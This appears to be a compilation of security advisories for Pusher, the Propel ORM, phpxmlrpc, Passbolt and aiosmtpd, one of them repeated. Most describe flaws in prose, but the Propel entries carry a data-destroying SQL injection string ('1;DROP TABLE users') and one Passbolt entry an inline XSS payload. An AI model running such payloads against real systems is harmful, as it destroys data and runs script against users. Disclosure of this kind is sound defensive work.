#git

The service offered by Pusher provides "private" channels with an authentication mechanism that restricts subscription access. The decision on allowing subscriptions to private channels is delegated to customers, who implement an authentication endpoint. End-users request a token from this endpoint to join a specific channel. The token is an HMAC signature of the end-user's connection ID (socket_id) and the desired channel. The issue arises from a lack of validation in the libraries provided to customers. This vulnerability allows a malicious end-user to submit a malformed socket_id field, leading the customer to unknowingly sign a string. This signed string grants access to a different private channel than the one the end-user is ostensibly requesting. Consequently, a malicious end-user, with permission to subscribe to one private channel, can forge permission for any private channel owned by the same customer. Additionally, the HTTP API is secured by requiring a signature with each...

The limit() query method is susceptible to catastrophic SQL injection with MySQL. For example, given a model User for a table users: ``` UserQuery::create()->limit('1;DROP TABLE users')->find(); ``` This will drop the users table! The cause appears to be a lack of integer casting of the limit input in either Criteria::setLimit() or in DBMySQL::applyLimit(). The code comments there seem to imply that casting was avoided due to overflow issues with 32-bit integers. This is surprising behavior since one of the primary purposes of an ORM is to prevent basic SQL injection. This affects all versions of Propel: 1.x, 2.x, and 3.

The limit() query method is susceptible to catastrophic SQL injection with MySQL. For example, given a model User for a table users: ``` UserQuery::create()->limit('1;DROP TABLE users')->find(); ``` This will drop the users table! The cause appears to be a lack of integer casting of the limit input in either Propel\Runtime\ActiveQuery\Criteria::setLimit() or in Propel\Runtime\Adapter\Pdo\MysqlAdapter::applyLimit(). The code comments there seem to imply that casting was avoided due to overflow issues with 32-bit integers. This is surprising behavior since one of the primary purposes of an ORM is to prevent basic SQL injection. This affects all versions of Propel: 1.x, 2.x, and 3.

Versions preceding 0.6.1 of the phpxmlrpc/extras project are susceptible to a Cross-Site Scripting (XSS) vulnerability. This vulnerability exists within the class documenting_xmlrpc_server when processing the GET methodName parameter.

### Description A user could create and share a resource with a malicious URI. When the victim opens with menu “Open URI in a new tab” function, the malicious page has access to the window.opener object. ### Impact of issue The newly opened malicious page can for example change the window.opener.location to redirect the user to a phishing page, or call a JavaScript function served by the AppJS on the user behalf for example to try to affect the integrity of the data. ### Fix The code that opens a new window via window.open(); now open the tab with the noopener attribute.

### Description An administrator can craft a user with a malicious first name and last name, using a payload such as ``` <svg onload="confirm(document.domain)">'); ?></svg> ``` The user will then receive the invitation email and click on the setup link. The setup start page served by the server will fire the XSS. ### Impact of issue An administrator could use this exploit to edit the setup start page for a given user, for example, trick the user into installing another extension. Even though the severity of this issue in itself is high, the likelihood is low because the exploit will be visible in clear by the user in the email notification, and also requires an action from a malicious administrator. ### Fix Sanitize the firstname and lastname in the page that is used to trigger the extension setup process. Additionally since v2.11 some default CSP are inserted in the server response headers to prevent inline-scripts or 3rd party domain scripts on pages served by the passbolt API. Th...

Passbolt provides a way for system administrators to generate a PGP key for the server during installation. The wizard requests a username, an e-mail address and an optional comment. No escaping or verification is done by Passbolt, effectively allowing a user to inject bash code. The impact is very high, but the probability is very low given that this vulnerability can only be exploited during Passbolt’s installation stage.

Passbolt uses three cookies: a session cookie, a CSRF protection cookie and a cookie to keep track of the multiple-factor authentication process. Both the session cookie and the mfa cookie are properly set HTTP-only to prevent an attacker from retrieving the content of those cookies if they managed to exploit an XSS. The /auth/verify.json endpoint returns a JSON that, among other things, contains the cookies sent in the request. (similar to the TRACE HTTP method) An attacker who manages to leverage an XSS vulnerability could retrieve the session cookies of a legitimate user, effectively granting them the ability to retrieve information (such as encrypted password list or group list) without requiring user interaction. This vulnerability has a low impact, but no immediate risk due to it requiring the exploitation of an XSS vulnerability that has yet to be found.

Passbolt sends e-mail to users to warn them about different type of events such as the creation, modification or deletion of a password. Those e-mails may contain user-specified input, such as a password’s title or description. Passbolt does not escape the user’s input properly, resulting in the user being able to inject HTML code in an e-mail. An authenticated attacker could share a password containing an img HTML tag in its description with an other user to obtain information about their mail user-agent. This vulnerability has a very low impact. Most MUA do not embed remote images to protect their users’ privacy.

### Summary Servers based on aiosmtpd accept extra unencrypted commands after STARTTLS, treating them as if they came from inside the encrypted connection. This could be exploited by a MitM attack. ### References * [NO STARTTLS: Similar vulnerabilities discovered by previous researchers.](https://nostarttls.secvuln.info/)